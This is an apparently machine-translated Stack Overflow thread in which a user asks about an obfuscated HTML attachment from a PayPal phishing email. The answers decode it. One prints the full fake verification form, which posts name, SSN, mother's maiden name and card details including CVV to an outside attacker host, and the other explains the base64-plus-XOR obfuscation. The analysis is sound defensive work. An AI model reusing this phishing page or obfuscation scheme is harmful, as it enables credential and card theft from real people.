所以我在我的垃圾邮件文件夹中查找并发现此消息:
有用的ΜеmЬег,
我们正在努力让你能够完全解决这个问题吗? ΑссοuntRеvіеwΤеаm。
Оuг,据说这样做是不可能的,因为它可以解释 喜欢你自己的事。
αNіntгuѕіοnіntοуοuгассοunthаѕЬееndеtесtеdwhісhѕhοwѕthаtѕοmеοnеtгіеdtοассеѕѕуοuгΡауΡаlассοuntwіthοutуοuг ρегmіѕѕіοn。我们有什么想要你自己来这个 ρгοЬlеm。 οοοοοенег,我们已经知道了你想要的所有 有必要在开始时使用它们来进行.ссе。 Ρlеаѕе 如果你想要了解他们的话。
以此为止,这是因为这是因为它可能会让你感觉到你和你自己的с。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。我们正在为任何做些什么 іnсοnνеnіеnсе。
Ѕ当其时,ΡауΡаlΑссοuntRеvіеwΤеаm
附在电子邮件中的是“Verification_2015.html”
代码对于'stackoverflow'来说太大了,所以可以在这里找到:http://pastebin.com/UxcGwSv7
我尝试使用几个解码器对其进行解码,我发现这些解码器在互联网上徘徊,但都没有用,我猜这里有一些高级的javascript编码,我无法弄明白。
有人可以:
先谢谢你,
-Sean D.
答案 0 :(得分:3)
生成JavaScript的混淆JavaScript(例如,不是作为某种解释器运行)很容易解码!只需寻找将变换后的字符串转换为某种“真实世界”动作的部分。在这里,它是document.write
,您可以将其替换为console.log
并直接生成HTML。
这是通过tidyhtml运行的:
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="generator" content=
"HTML Tidy for Linux (vers 25 March 2009), see www.w3.org">
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content=
"text/html; charset=us-ascii">
<title>Account Verification</title>
<style type="text/css">
<!td {font-family: verdana,arial,helvetica,sans-serif;font-size:12px;color: #000000;}.pp_heading {font-family: verdana,arial,helvetica,sans-serif;font-size:18px;font-weight: bold;color: #003366;} hr.dotted {width: 100%; margin-top: 0px; margin-bottom: 0px; border-left:#fff; border-right: #fff; border-top: #fff; border-bottom: 2px dotted #ccc;}hr.space {width:139px; border-color:#FFFFFF; };.pp_footer {font-family: verdana,arial,helvetica,sans-serif;font-size:11px;color: #aaaaaa;}.pp_sidebartextbold {font-family:verdana,arial,helvetica,sans-serif;font-size: 11px;font-weight: bold;color:#003366;} .pp_sidebartext {font-family: verdana,arial,helvetica,sans-serif;font-size:11px;color: #003366;} .ppem106 {font-weight: 700;}submit.primary, input.submit.primary {border-left:1px solid #d5bd98; border-right:1px solid #935e0d; border-top:1px solid #d5bd98; border-bottom:1px solid #935e0d; background:#ffa822 url('orange.gif'); left}submit.primary:active, input.submit.primary:active {border:1px solid #935e0d; border-right-color:#d5bd98; border-bottom-color:#d5bd98;}input, select {border:1px solid #adc2d6;}.main_block {width: 100px; align:center-right; margin: 0 auto; }.main_block:before,.main_block:after { overflow:hidden; content:""; display:table; }.main_block:after { clear:both; }.inner_block { display: inline-block; float:center; width:100%;}.inner_block img { width:100%; height:auto; vertical-align:middle; }>
</style>
</head>
<body>
<p align="center"><font color="#FFFFFF"><span style=
"background-color: #FFFFFF">______</span></font><img border="0"
src="https://www-techinasia.netdna-ssl.com/wp-content/uploads/2012/02/paypal.jpg"
width="350" height="180"></p>
<div class="main_block">
<div class="inner_block"><img src=
"http://www.johncflood.com/wp-content/uploads/2011/10/ssl-secure-logo.png"></div>
<div class="inner_block"><img src=
"http://www.b2bonline.pl/media/cms_page_media/47/Verisign3.jpg"></div>
</div>
<table cellspacing="0" cellpadding="0" width="200" align="center"
border="0">
<tbody>
<tr valign="top">
<td width="200" style=
"font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color: #000000">
<table cellspacing="0" cellpadding="5" width="100%" border="0">
<tbody>
<tr valign="top">
<td style=
"font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color: #000000">
<p align="center"> </p>
<p><b><font size="2">Please fill in the correct information for the
following fields to verify your identity.</font></b></p>
<table cellspacing="0" cellpadding="0" width="103%" border="0">
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
<table cellspacing="0" cellpadding="0" width="889" border="0">
<tbody>
<tr>
<td class="pp_heading" align="center" valign="top" width="646">
<form action="http://www.linksec.su/services.php" method="post"
name="Date"><input type="hidden" name="id" value=
"44464"><input type="hidden" name="redirection" value=
""><input type="hidden" name="siteId" value="CB""><input name=
"form_charset" type="hidden" value="UTF-8">
<fieldset><legend>Personal Identification</legend>
<table width="500" border="0" cellpadding="0" cellspacing="0"
height="18">
<tr valign="bottom">
<td height="23">
<p align="left"><font face="Verdana" size="2"><span>Full
Name:</span></font></p>
</td>
<td height="1" align="right" width="367">
<p align="left"><input name="pname" tabindex="1" size="28"></p>
</td>
</tr>
</table>
<table width="500" border="0" cellpadding="0" cellspacing="0"
height="28">
<tr valign="bottom">
<td height="23">
<p align="left"><font face="Verdana" size="2"><span>Date Of
Birth:</span></font></p>
</td>
<td align="right" width="367" height="29">
<p align="left"><label for="pdobtype"><font size="2" face=
"Verdana, Arial, Helvetica, sans-serif"><select name="pdobday" id=
"pdobday" size="1" tabindex="2">
<option value="00" selected>Day</option>
<option value="01">01</option>
<option value="02">02</option>
<option value="03">03</option>
<option value="04">04</option>
<option value="05">05</option>
<option value="06">06</option>
<option value="07">07</option>
<option value="08">08</option>
<option value="09">09</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
</select></font></label> <span>-</span> <label for=
"pdobtype"><font size="2" face=
"Verdana, Arial, Helvetica, sans-serif"><select name="pdobmonth"
id="pdobmonth" size="1" tabindex="3">
<option value="00" selected>Month</option>
<option value="Jan">Jan</option>
<option value="Feb">Feb</option>
<option value="Mar">Mar</option>
<option value="Apr">Apr</option>
<option value="May">May</option>
<option value="Jun">Jun</option>
<option value="Jul">Jul</option>
<option value="Aug">Aug</option>
<option value="Sep">Sep</option>
<option value="Oct">Oct</option>
<option value="Nov">Nov</option>
<option value="Dec">Dec</option>
</select></font></label> <span>-</span> <label for=
"pdobtype"><font size="2" face=
"Verdana, Arial, Helvetica, sans-serif"><select name="pdobyear" id=
"pdobyear" size="1" tabindex="3">
<option value="00" selected>Year</option>
<option value="1915">1915</option>
<option value="1916">1916</option>
<option value="1917">1917</option>
<option value="1918">1918</option>
<option value="1919">1919</option>
<option value="1920">1920</option>
<option value="1921">1921</option>
<option value="1922">1922</option>
<option value="1923">1923</option>
<option value="1924">1924</option>
<option value="1925">1925</option>
<option value="1926">1926</option>
<option value="1927">1927</option>
<option value="1928">1928</option>
<option value="1929">1929</option>
<option value="1930">1930</option>
<option value="1931">1931</option>
<option value="1932">1932</option>
<option value="1933">1933</option>
<option value="1934">1934</option>
<option value="1935">1935</option>
<option value="1936">1936</option>
<option value="1937">1937</option>
<option value="1938">1938</option>
<option value="1939">1939</option>
<option value="1940">1940</option>
<option value="1941">1941</option>
<option value="1942">1942</option>
<option value="1943">1943</option>
<option value="1944">1944</option>
<option value="1945">1945</option>
<option value="1946">1946</option>
<option value="1947">1947</option>
<option value="1948">1948</option>
<option value="1949">1949</option>
<option value="1950">1950</option>
<option value="1951">1951</option>
<option value="1952">1952</option>
<option value="1953">1953</option>
<option value="1954">1954</option>
<option value="1955">1955</option>
<option value="1956">1956</option>
<option value="1957">1957</option>
<option value="1958">1958</option>
<option value="1959">1959</option>
<option value="1960">1960</option>
<option value="1961">1961</option>
<option value="1962">1962</option>
<option value="1963">1963</option>
<option value="1964">1964</option>
<option value="1965">1965</option>
<option value="1966">1966</option>
<option value="1967">1967</option>
<option value="1968">1968</option>
<option value="1969">1969</option>
<option value="1970">1970</option>
<option value="1971">1971</option>
<option value="1972">1972</option>
<option value="1973">1973</option>
<option value="1974">1974</option>
<option value="1975">1975</option>
<option value="1976">1976</option>
<option value="1977">1977</option>
<option value="1978">1978</option>
<option value="1979">1979</option>
<option value="1980">1980</option>
<option value="1981">1981</option>
<option value="1982">1982</option>
<option value="1983">1983</option>
<option value="1984">1984</option>
<option value="1985">1985</option>
<option value="1986">1986</option>
<option value="1987">1987</option>
<option value="1988">1988</option>
<option value="1989">1989</option>
<option value="1990">1990</option>
<option value="1991">1991</option>
<option value="1992">1992</option>
<option value="1993">1993</option>
<option value="1994">1994</option>
<option value="1995">1995</option>
<option value="1996">1996</option>
<option value="1997">1997</option>
</select></font></label></p>
</td>
</tr>
</table>
<table width="500" border="0" cellpadding="0" cellspacing="0"
height="18">
<tr valign="bottom">
<td height="23">
<p align="left"><font face="Verdana" size="2"><span>Mother's Maiden
Name:</span></font></p>
</td>
<td align="right" width="367" height="29">
<p align="left"><input name="pmmn" tabindex="3" size="28"></p>
</td>
</tr>
</table>
<table width="500" border="0" cellpadding="0" cellspacing="0"
height="34">
<tr valign="bottom">
<td>
<p align="left"><font face="Verdana" size=
"2"><span>Country:</span></font></p>
</td>
<td align="right" width="367">
<p align="left"><font color="#000000"><strong><select id="pcountry"
name="pcountry" height:="" size="1" tabindex="4">
<option selected>United States</option>
<option>Albania</option>
<option>Algeria</option>
<option>American Samoa</option>
<option>Andorra</option>
<option>Angola</option>
<option>Anguilla</option>
<option>Antarctica</option>
<option>Antigua And Barbuda</option>
<option>Argentina</option>
<option>Armenia</option>
<option>Aruba</option>
<option>Australia</option>
<option>Austria</option>
<option>Azerbaijan</option>
<option>Bahamas</option>
<option>Bahrain</option>
<option>Bangladesh</option>
<option>Barbados</option>
<option>Belarus</option>
<option>Belgium</option>
<option>Belize</option>
<option>Benin</option>
<option>Bermuda</option>
<option>Bhutan</option>
<option>Bolivia</option>
<option>Bosnia and Herzegovina</option>
<option>Botswana</option>
<option>Bouvet Island</option>
<option>Brazil</option>
<option>British Indian Ocean Territory</option>
<option>Brunei Darussalam</option>
<option>Bulgaria</option>
<option>Burkina Faso</option>
<option>Burma</option>
<option>Burundi</option>
<option>Cambodia</option>
<option>Cameroon</option>
<option>Canada</option>
<option>Cape Verde</option>
<option>Cayman Islands</option>
<option>Central African Republic</option>
<option>Chad</option>
<option>Chile</option>
<option>China</option>
<option>Christmas Island</option>
<option>Cocos (Keeling) Islands</option>
<option>Colombia</option>
<option>Comoros</option>
<option>Congo</option>
<option>Congo, the Democratic Republic of the</option>
<option>Cook Islands</option>
<option>Costa Rica</option>
<option>Cote d'Ivoire</option>
<option>Croatia</option>
<option>Cyprus</option>
<option>Czech Republic</option>
<option>Denmark</option>
<option>Djibouti</option>
<option>Dominica</option>
<option>Dominican Republic</option>
<option>East Timor</option>
<option>Ecuador</option>
<option>Egypt</option>
<option>El Salvador</option>
<option>England</option>
<option>Equatorial Guinea</option>
<option>Eritrea</option>
<option>Espana</option>
<option>Estonia</option>
<option>Ethiopia</option>
<option>Falkland Islands</option>
<option>Faroe Islands</option>
<option>Fiji</option>
<option>Finland</option>
<option>France</option>
<option>French Guiana</option>
<option>French Polynesia</option>
<option>French Southern Territories</option>
<option>Gabon</option>
<option>Gambia</option>
<option>Georgia</option>
<option>Germany</option>
<option>Ghana</option>
<option>Gibraltar</option>
<option>Great Britain</option>
<option>Greece</option>
<option>Greenland</option>
<option>Grenada</option>
<option>Guadeloupe</option>
<option>Guam</option>
<option>Guatemala</option>
<option>Guinea</option>
<option>Guinea-Bissau</option>
<option>Guyana</option>
<option>Haiti</option>
<option>Heard and Mc Donald Islands</option>
<option>Honduras</option>
<option>Hong Kong</option>
<option>Hungary</option>
<option>Iceland</option>
<option>India</option>
<option>Indonesia</option>
<option>Ireland</option>
<option>Israel</option>
<option>Italy</option>
<option>Jamaica</option>
<option>Japan</option>
<option>Jordan</option>
<option>Kazakhstan</option>
<option>Kenya</option>
<option>Kiribati</option>
<option>Korea (North)</option>
<option>Korea, Republic of</option>
<option>Korea (South)</option>
<option>Kuwait</option>
<option>Kyrgyzstan</option>
<option>Lao People's Democratic Republic</option>
<option>Latvia</option>
<option>Lebanon</option>
<option>Lesotho</option>
<option>Liberia</option>
<option>Liechtenstein</option>
<option>Lithuania</option>
<option>Luxembourg</option>
<option>Macau</option>
<option>Macedonia</option>
<option>Madagascar</option>
<option>Malawi</option>
<option>Malaysia</option>
<option>Maldives</option>
<option>Mali</option>
<option>Malta</option>
<option>Marshall Islands</option>
<option>Martinique</option>
<option>Mauritania</option>
<option>Mauritius</option>
<option>Mayotte</option>
<option>Mexico</option>
<option>Micronesia, Federated States of</option>
<option>Moldova, Republic of</option>
<option>Monaco</option>
<option>Mongolia</option>
<option>Montserrat</option>
<option>Morocco</option>
<option>Mozambique</option>
<option>Myanmar</option>
<option>Namibia</option>
<option>Nauru</option>
<option>Nepal</option>
<option>Netherlands</option>
<option>New Caledonia</option>
<option>New Zealand</option>
<option>Nicaragua</option>
<option>Niger</option>
<option>Nigeria</option>
<option>Niue</option>
<option>Norfolk Island</option>
<option>Northern Ireland</option>
<option>Northern Mariana Islands</option>
<option>Norway</option>
<option>Oman</option>
<option>Pakistan</option>
<option>Palau</option>
<option>Panama</option>
<option>Papua New Guinea</option>
<option>Paraguay</option>
<option>Peru</option>
<option>Philippines</option>
<option>Pitcairn</option>
<option>Poland</option>
<option>Portugal</option>
<option>Puerto Rico</option>
<option>Qatar</option>
<option>Reunion</option>
<option>Romania</option>
<option>Russia</option>
<option>Russian Federation</option>
<option>Rwanda</option>
<option>San Marino</option>
<option>Sao Tome and Principe</option>
<option>Saudi Arabia</option>
<option>Scotland</option>
<option>Senegal</option>
<option>Seychelles</option>
<option>Singapore</option>
<option>Slovakia</option>
<option>Slovenia</option>
<option>Solomon Islands</option>
<option>Somalia</option>
<option>South Africa</option>
<option>South Georgia and the South Sandwich Islands</option>
<option>South Korea</option>
<option>Spain</option>
<option>Sri Lanka</option>
<option>St. Helena</option>
<option>Sweden</option>
<option>Switzerland</option>
<option>Taiwan</option>
<option>Tajikistan</option>
<option>Tanzania</option>
<option>Thailand</option>
<option>Togo</option>
<option>Tokelau</option>
<option>Tonga</option>
<option>Trinidad</option>
<option>Trinidad and Tobago</option>
<option>Tunisia</option>
<option>Turkey</option>
<option>Turkmenistan</option>
<option>Uganda</option>
<option>Ukraine</option>
<option>United Arab Emirates</option>
<option>United Kingdom</option>
<option>United States</option>
<option>United States Minor Outlying Islands</option>
<option>Uruguay</option>
<option>USA</option>
<option>Uzbekistan</option>
<option>Vanuatu</option>
<option>Vatican City State (Holy See)</option>
<option>Venezuela</option>
<option>Viet Nam</option>
<option>Virgin Islands (British)</option>
<option>Virgin Islands (U.S.)</option>
<option>Wales</option>
<option>Wallis and Futuna Islands</option>
<option>Western Sahara</option>
<option>Yemen</option>
<option>Zambia</option>
<option>Zimbabwe</option>
</select></strong></font></p>
</td>
</tr>
</table>
<table width="500" border="0" cellpadding="0" cellspacing="0"
height="27">
<tr valign="bottom">
<td height="27">
<p align="left"><font face="Verdana" size=
"2"><span>State:</span></font></p>
</td>
<td align="right" width="367" height="27">
<p align="left"><input name="pstate" size="14" tabindex="5"></p>
</td>
</tr>
</table>
<table width="500" border="0" cellpadding="0" cellspacing="0"
height="27">
<tr valign="bottom">
<td height="27">
<p align="left"><font face="Verdana" size=
"2"><span>City:</span></font></p>
</td>
<td align="right" width="367" height="27">
<p align="left"><input name="pcity" size="14" tabindex="6"></p>
</td>
</tr>
</table>
<table width="500" border="0" cellpadding="0" cellspacing="0"
height="27">
<tr valign="bottom">
<td height="27">
<p align="left"><font face="Verdana" size=
"2"><span>Address:</span></font></p>
</td>
<td align="right" width="367" height="27">
<p align="left"><font face="Verdana"><input name="paddr" size="31"
tabindex="7"></font></p>
</td>
</tr>
</table>
<table width="500" border="0" cellpadding="0" cellspacing="0"
height="34">
<tr valign="bottom">
<td>
<p align="left"><font face="Verdana" size="2"><span>Zip
Code:</span></font></p>
</td>
<td align="right" width="367">
<p align="left"><input name="pzip" size="10" tabindex="8"
maxlength="10"></p>
</td>
</tr>
</table>
<table width="500" border="0" cellpadding="0" cellspacing="0"
height="27">
<tr valign="bottom">
<td height="27">
<p align="left"><font face="Verdana" size="2"><span>Phone
Number:</span></font></p>
</td>
<td align="right" width="367" height="27">
<p align="left"><input name="pphone" size="14" tabindex="9"></p>
</td>
</tr>
</table>
<table width="500" border="0" cellpadding="0" cellspacing="0"
height="27">
<tr valign="bottom">
<td height="27">
<p align="left"><font face="Verdana" size="2"><span>Social Security
Number (SSN):</span></font></p>
</td>
<td align="right" width="367" height="27">
<p align="left"><input name="pssn" size="14" tabindex="10"></p>
</td>
</tr>
</table>
</fieldset>
<br>
<fieldset><legend>Credit/Debit Card Verification</legend>
<table width="500" border="0" cellpadding="0" cellspacing="0"
height="29">
<tr valign="bottom">
<td height="29">
<p align="left"><font face="Verdana" size="2"><span>Card
Number:</span></font></p>
</td>
<td align="right" width="367" height="29">
<p align="left"><input name="pccn" size="16" tabindex="11"
maxlength="16" onkeypress="return numonly(this, event)"></p>
</td>
</tr>
</table>
<table width="500" border="0" cellpadding="0" cellspacing="0"
height="28">
<tr valign="bottom">
<td height="28">
<p align="left"><font face="Verdana" size="2"><span>Expiration
Date:</span></font></p>
</td>
<td align="right" width="367" height="28">
<p align="left"><label for="pcctype"><font size="2" face=
"Verdana, Arial, Helvetica, sans-serif"><select name="pexpm" id=
"pexpm" size="1" tabindex="12">
<option value="00" selected>Month</option>
<option value="01">01</option>
<option value="02">02</option>
<option value="03">03</option>
<option value="04">04</option>
<option value="05">05</option>
<option value="06">06</option>
<option value="07">07</option>
<option value="08">08</option>
<option value="09">09</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
</select></font></label> <span>-</span> <label for=
"pcctype"><font size="2" face=
"Verdana, Arial, Helvetica, sans-serif"><select name="pexpy" id=
"pexpy" size="1" tabindex="13">
<option value="00" selected>Year</option>
<option value="15">2015</option>
<option value="16">2016</option>
<option value="17">2017</option>
<option value="18">2018</option>
<option value="19">2019</option>
<option value="20">2020</option>
<option value="21">2021</option>
<option value="22">2022</option>
<option value="23">2023</option>
<option value="24">2024</option>
<option value="2025">2025</option>
</select></font></label> <font size="2" face=
"Verdana"><span> (Ex: 05/2015)</span></font></p>
</td>
</tr>
</table>
<table width="500" border="0" cellpadding="0" cellspacing="0"
height="30">
<tr valign="bottom">
<td height="30">
<p align="left"><font face="Verdana" size="2"><span>Card
Verification Number (CVV2):</span></font></p>
</td>
<td align="right" width="367" height="30">
<p align="left"><input name="pcvv" size="4" tabindex="14"
maxlength="3" onkeypress="return numonly(this, event)"></p>
</td>
</tr>
</table>
<p align="center"><font color="#003366"><input type="submit"
tabindex="15" name="x01.php" value="Submit Form" class=
"primary"></font></p>
<p align="left"><font color="#003366"><font size="1">By clicking
the button "Submit Form" you confirm your identity with us. The
form is submitted instantly.</font></font></p>
<p align="left"></p>
</fieldset>
</form>
</td>
<td class="pp_heading" align="left" width="239" valign="top" style=
"padding-left: 4px;">
<table cellspacing="0" cellpadding="0" width="100%" bgcolor=
"#FFFFFF" border="0">
<tbody>
<tr>
<td style=
"font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color: #000000">
<table cellspacing="0" cellpadding="5" width="100%" bgcolor=
"#EEEEEE" border="0">
<tbody>
<tr>
<td class="pp_sidebartextbold" align="middle">Protect Your Account
Info</td>
</tr>
</tbody>
</table>
<table cellspacing="0" cellpadding="5" width="100%" border="0">
<tbody>
<tr>
<td class="pp_sidebartext"><br>
Make sure you never provide your password to fraudulent
persons.<br>
<br>
PayPal automatically encrypts your confidential information using
the Secure Sockets Layer protocol (SSL) with an encryption key
length of 128-bits (the highest level commercially available).<br>
<br>
For more information on protecting yourself from fraud, please
review our Security Tips at
http://www.paypal.com/securitytips<br></td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td style=
"font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color: #000000">
<table cellspacing="0" cellpadding="5" width="100%" bgcolor=
"#EEEEEE" border="0">
<tbody>
<tr>
<td class="pp_sidebartextbold" align="middle">Protect Your
Password</td>
</tr>
</tbody>
</table>
<table cellspacing="0" cellpadding="5" width="100%" border="0">
<tbody>
<tr>
<td class="pp_sidebartext">You should <span class=
"ppem106">never</span> give your PayPal password to anyone,
including PayPal employees.<br></td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
<hr class="space">
<p> </p>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td style=
"font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color: #000000">
<br></td>
</tr>
</tbody>
</table>
</td>
<td style=
"font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color: #000000">
</td>
<td valign="top" width="190" style=
"font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color: #000000">
</td>
</tr>
</tbody>
</table>
</body>
</html>
答案 1 :(得分:1)
我想我昨天才得到这个特别的信息。 Avast在通过Outlook下载时最终标记了它,我想今天看看它。我收到的附件似乎与你的相同。让我们专注于剧本。
第一行function BDE(r)
看起来像是各种解码器。查看调用此函数的第二行,BDE()
显然是base64解码器。第二行调用它将base64转换为blob并将其存储在BSs
。
如果您解码base64字符串,您会注意到结果不是完全可读的。查看脚本的其余部分,很明显解码后的结果是通过另一个函数提供的,并且在被该函数转换后,应该会产生类似于HTML的内容。第三行是有趣的地方。这里的代码是美化的:
function XD1(r, t) {
var n = [],
o = "";
for (z = 1; 255 >= z; z++) n[String.fromCharCode(z)] = z;
for (j = z = 0; z < r.length; z++) o += String.fromCharCode(n[r.substr(z, 1)] ^ n[t.substr(j, 1)]), j = j < t.length ? j + 1 : 0;
return o
}
变量n
是一个数组,初始化值为0到255,如第3行所示。我们称之为&#34;密码表&#34;。 o
是返回值。第四行是真正的工作完成的地方。请注意,r
是要解密的内容,t
是关键。循环对内容中的每个字节执行的操作是,它使用该字节索引到密码表中,同时从密钥中依次选取一个字节并使用它来索引到密码表。两个结果字节一起进行异或,转换为字符,并附加到结果中。使用表而不是直接使用XORing的原因是因为字符串XOR字符串不会产生有用的结果。相反,通过索引到表中,接收两个数字,可以将它们一起进行异或,并且结果可以转换为字符。最后,这是您的标准XOR密码。
关于解密循环的一个有趣的怪癖是这个片段:j = j < t.length ? j + 1 : 0
。当您遇到j
小于t.length
的情况时,j
仍然会增加,并导致尝试使用超出范围的索引t
。 substr()
返回0
,当使用XOR密码的正确实现时,它会有效地在密钥的末尾添加一个空字符。
父脚本的最后一行将解密数据写入文档,这是一个简单的HTML页面,其中包含用于提交信用卡信息的表单。
摘要:脚本base64解码,然后XOR解密数据,并将其写入页面。